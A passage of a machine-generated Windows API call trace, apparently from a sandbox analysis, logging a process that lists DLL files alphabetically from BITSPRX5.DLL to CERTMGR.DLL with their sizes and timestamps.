WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x226c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x226c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x226c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.459] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0140.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x226c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x226c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0140.460] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x226c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0140.461] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0140.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", 